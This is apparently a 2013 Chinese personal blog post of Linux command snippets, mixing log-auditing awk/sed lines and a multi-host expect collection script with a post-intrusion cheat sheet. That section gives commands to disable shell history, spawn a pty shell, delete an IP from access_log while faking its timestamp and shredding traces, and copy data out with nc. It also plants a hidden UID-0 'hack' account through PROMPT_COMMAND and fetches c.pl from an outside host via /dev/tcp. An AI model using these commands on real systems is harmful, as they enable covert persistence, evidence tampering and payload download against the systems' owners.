Chinaunix首页 | 论坛 | 博客
  • 博客访问: 213298
  • 博文数量: 40
  • 博客积分: 316
  • 博客等级: 二等列兵
  • 技术积分: 840
  • 用 户 组: 普通用户
  • 注册时间: 2012-03-13 12:39
文章分类

全部博文(40)

文章存档

2014年(2)

2013年(28)

2012年(10)

分类: 系统运维

2013-03-06 19:36:54

 # sed -n '1048,1249'p x.x.x.x |awk '$3 !~ /^(192.168.1.[1-9][0-9]*[0-9]*)$/ && $3 !~ /^192.168.[0,2].([5][1-4])*(1[0,8][6,8])*$/ && $3 !~/^10.11.2.51$/ && $3 !~/^10.200.252.55$/ && $3 !~ /^:0.0$/ && $2 !~ /^:0$/ && $1 !~ "reboot"{print $0}' > x.x.x.xd/not_allow_ip.txt
# sed -n '2,43'p  x.x.x.x | awk -F: '$3 ~ "^0$" && $1 !~ /^root$/{print $0}' > x.x.x.xd/not_root_0.txt
--------------------------------------------------------------------------------------------
#!/usr/bin/bash
function auto_ssh() {
expect << EOF
set cmd {"cat /etc/passwd" "/sbin/ifconfig" "netstat -anp" "last" "uname -a" "cat /etc/issue" "cat /proc/cpuinfo" "ps -ef" "cat /proc/kallsyms"}
set timeout -1
spawn -noecho ssh $2@$1
        expect {
                "(yes/no)?" {send -- "yes\r";exp_continue}
                "*assword*" {send -- "$3\r"}
        }
expect #
send -- "rm -f /tmp/$1.log\r"
foreach i \$cmd {
    send -- "echo \"+------------------------------\$i-----------------------------+\">>/tmp/$1.log\r"
    send -- \$i>>/tmp/$1.log\r
}
send -- "exit\r"
expect eof
EOF
}
function get_file() {
    expect <
spawn -noecho sftp $2@$1:/tmp/$1.log ./tj/$1.log
expect "*assword*"
send -- $3\r
send -- "exit\r"
expect eof
EOF
}
while getopts "f:" arg
do
case $arg in
f)
file=$OPTARG
cat $file | while read oneline
do
    auto_ssh $oneline && get_file $oneline
done
;;
?)
echo "-------------------help---------------------"
exit 1
;;
esac
done
--------------------------------------------------------------------------------------------------------
sed -n 'H;${g;s/\n//g;p}'  file              //将文件中所有的行合并为一行。
sed '$!N;s/\n//g'        // 奇偶行合并
----------------------------------------------------------------------------------------------------------------------------------
cat 123.txt | awk '{for(i=1;i<=NF;i++)printf("%s,",$1)}'    //將123.txt中的每行和为一行。
echo "%2fbin%2fecho,system,exec,passthru,shell_exec,popen,fgetss,fput,file_get_contents,file_put_contents,fwrite" | awk -F, '{for(i=1;i<=NF;i++)print $i }'    //將这堆字符拆成每个一行。
-----------------------------------------------------------------------------------------------------------------------------------
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

python -c 'import pty;pty.spawn("/bin/sh")'

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i     //公钥到/dev/null里

shred     //反复擦除,

touch /dev/shm/timestamp; touch -r access_log /dev/shm/timestamp;sed '/192/.168/.44/.1/d' access_log > /dev/shm/backlog ; cat /dev/shm/backlog > access_log; touch -r /dev/shm/timestamp  ./access_log ;shred -n 255 -z -u /dev/shm/timestamp;   //有的系统shm默认是ramfs的文件系统挂载的。但有的不是。

mount -t ramfs ramfs /usr/tmp         //挂载为ram文件系统。

reciver:  nc -l -p 1234 | uncompress -c | tar xvfp -
sender:   tar  cfp - /some/dir | compress -c | nc -w 3 [destination] 1234

export PROMPT_COMMAND=”/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND”  //该变量在$ps1显示前执行。

exec 5<>/dev/tcp/sec-lab.org/80 &&echo -e “GET /c.pl HTTP/1.0\n” >&5 && cat<&5 > c.pl      //据说可以,没试。
-----------------------------------------------------------------------------------------------------------------------------------
#getconf PAGESIZE   获得系统分页的大小。 一般为4096即4k。
#cat  /proc/sys/kernel/pid_max    //PID_MAX_DEFAULT的值,(最大pid的值+1)
------------------------------------------------------------------------------------------------------------------------------------
修改密码:   echo  "12345"  | passwd --stdin root
echo d1:12345 | chpasswd   
//以上方法均在root下才可以。
-----------------------------------------------------------------------------------------------------
# echo c > /proc/sysrq-trigger      //通过sysrq事件来触发dump。
参考:https://www.ibm.com/developerworks/cn/linux/l-cn-dumpanalyse/
     http://blog.jobbole.com/60549/     //linux命令

阅读(1759) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~